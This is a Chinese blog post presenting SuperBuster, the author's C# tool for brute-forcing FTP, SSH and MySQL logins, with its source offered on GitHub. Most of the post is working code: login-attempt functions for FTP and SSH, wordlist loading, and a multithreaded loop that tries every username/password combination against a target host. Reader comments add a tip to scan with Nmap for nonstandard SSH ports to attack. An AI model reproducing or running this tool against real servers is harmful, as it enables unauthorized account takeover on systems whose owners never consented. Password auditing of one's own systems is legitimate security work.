最近博客更新属实有些慢,这几个月抽空写了十多个技术含量不高但也不是特别简单的自用的小工具。SuperBuster就是其中之一,它是一个用C#编写的目前支持FTP,SSH,MySQL等协议的爆破工具。除了我以外我认为大家也可能会用到这么个东西,所以就发出来成品和源码,由于我敲代码不习惯写注释,所以特别写一文给大家介绍一下思路。这个小工具完整的源码我已经上传到了我的Github账号上。
实现思路
花一点小篇幅解释一下爆破原理。爆破是暴力破解的简称,相当于枚举。我们所要实现的举个例子就是通过一次一次可能的尝试来试出正确的账号密码。因此我们需要准备好用户名和密码字典。字典越庞大,成功的可能性越高。
了解完原理后思路就会出来了,我只要排列一下两个字典中的组合然后向目标发起登录请求就OK了。FTP可以用C#自带的FtpWebRequest类,而SSH和MySQL没有可直接使用的类那么引用第三方动态链接库(DLL)就OK了。然后我们自定义布尔型方法,如果账号密码错误那么就会报错,通过try语句捕获异常返回false否则成功登录上返回true。和代理验证很像!够简单吧!
实现代码
using System.Net;
SSH由于没有直接可以使用的类,所以我是调用的SSH.NET这个第三方库。
在引用中调用它的DLL以后,引用它的命名空间。
using Renci.SshNet;
接下来自定义布尔型方法。FTP:
private bool FTPRequest(string host, string user, string password)
{
FtpWebRequest FTP = (FtpWebRequest)WebRequest.Create(new Uri("ftp://" + host));//创建连接请求
FTP.Method = WebRequestMethods.Ftp.ListDirectory;//设置连接命令
FTP.UseBinary = true;//设置传输类型
FTP.Credentials = new NetworkCredential(user, password);//设置用户名以及密码
try
{
FtpWebResponse response = (FtpWebResponse)FTP.GetResponse();//发送连接请求
return true;//连接成功既用户名密码正确返回true
}
catch
{
return false;//连接失败那么发送请求那一行代码会报错,则用户名密码错误返回false
}
}
SSH:
private bool SSHRequest(string host, string user, string password)
{
var SSH = new SshClient(host, user, password);//创建连接请求,同时设置用户名密码
try
{
SSH.Connect();//发送连接请求
return true;//连接成功既用户名密码正确返回true
}
catch
{
return false;//连接失败那么发送请求那一行代码会报错,则用户名密码错误返回false
}
finally
{
SSH.Disconnect();//关闭连接
}
}
自定义完方法以后我们通过openFileDialog类把字典中的内容赋值给两个事先声明的字符串数组。
private void IncludeUser()
{
label3.Text = "正在导入用户名字典......";
openFileDialog1.Filter = "文本文档|*.txt";
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
users = File.ReadAllLines(openFileDialog1.FileName);
label3.Text = "用户名字典已导入!";
}
else
{
label3.Text = "导入已取消!";
}
}
private void IncludePassword()
{
label3.Text = "正在导入密码字典......";
openFileDialog1.Filter = "文本文档|*.txt";
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
passwords = File.ReadAllLines(openFileDialog1.FileName);
label3.Text = "密码字典已导入!";
}
else
{
label3.Text = "导入已取消!";
}
}
再通过两个for循环将两个字典中的内容搭配好并把每一个组合的用户名密码添加到声明的类型为Task的List中,然后传给刚才的方法。通过返回的布尔值判断用户名密码是否正确。通过Task实现多线程。既一个组合一个Task,Task数量使用者可控制。通过在添加前判断List中的Task数量实现。
private void FTPBomb()
{
currentrequestId++;
int a = currentrequestId;
RequestIds.Add(currentrequestId, true);
List<Task> TaskList = new List<Task>();
for (int i = 0; i < users.Length; i++)
{
int l = i;
for (int y = 0; y < passwords.Length; y++)
{
int Y = y;
if(TaskList.Count>=Int32.Parse(textBox2.Text))
{
Task.WaitAny(TaskList.ToArray());
}
TaskList.Add(Task.Factory.StartNew(() =>
{
if (RequestIds[a])
{
bool result = FTPRequest(host, users[l], passwords[Y]);
if (result)
{
BeginInvoke(new Action(() =>
{
if (RequestIds[a])
{
if(checkBox1.Checked)
{
RequestIds[a] = false;
richTextBox3.Text += "爆破成功!用户名:" + users[l] + " 密码:" + passwords[Y] + "\r";
button3.Text = "开始爆破";
label3.Text = "";
richTextBox3.Text += "爆破结束!";
textBox1.Enabled = true;
textBox2.Enabled = true;
button1.Enabled = true;
button2.Enabled = true;
radioButton1.Enabled = true;
radioButton2.Enabled = true;
radioButton3.Enabled = true;
checkBox1.Enabled = true;
MessageBox.Show("爆破结束!用户名:" + users[l] + "密码:" + passwords[Y], "提示");
}
else
{
richTextBox3.Text += "爆破成功!用户名:" + users[l] + " 密码:" + passwords[Y] + "\r";
}
}
}));
}
else
{
BeginInvoke(new Action(() =>
{
if (RequestIds[a])
{
richTextBox3.Text += "正在爆破!当前用户名:" + users[l] + " 当前密码:" + passwords[Y] + "\r";
}
}));
}
}
else
{
return;
}
}));
}
}
Task.WaitAll(TaskList.ToArray());
if (RequestIds[a])
{
button3.Text = "开始爆破";
label3.Text = "";
richTextBox3.Text += "爆破结束!";
textBox1.Enabled = true;
textBox2.Enabled = true;
button1.Enabled = true;
button2.Enabled = true;
radioButton1.Enabled = true;
radioButton2.Enabled = true;
radioButton3.Enabled = true;
checkBox1.Enabled = true;
MessageBox.Show("爆破结束!", "提示");
}
}
这就是这个所谓的爆破工具的实现思路了,总体来说和代理验证超级像,我算是又写了篇水文吧!可能会对给出的代码中的一些变量比如int变量currentrequestId等不太理解,额其实就是控制输出的,具体的可以看项目源码。
下载地址
项目源码和成品在开头给出的Github地址中!
好!
哟呵,用的也是奶牛快传!
是的呢,杜老师上次把博客备份文件传给我的时候用的同样也是奶牛快传,我注册了一下感觉挺不错的!
有时间下载试一下,正好测试下我的服务器!
好的!要用的时候我QQ私发给你吧!这个链接不是最新版的了,是第一版的,BUG一堆!
我ssh都是换端口了 哈哈 安全第一。
也许我可以加个自定义端口爆破!
哈哈 可选择的太多了 除非 从 1- 233333 哈哈 不然真不好猜 。
先用Nmap扫描开放的端口,然后找不常用的可疑端口一个一个试就可以啦!
你一定没少这么干 哈哈。
还不错,有自己的想法
感谢大佬夸奖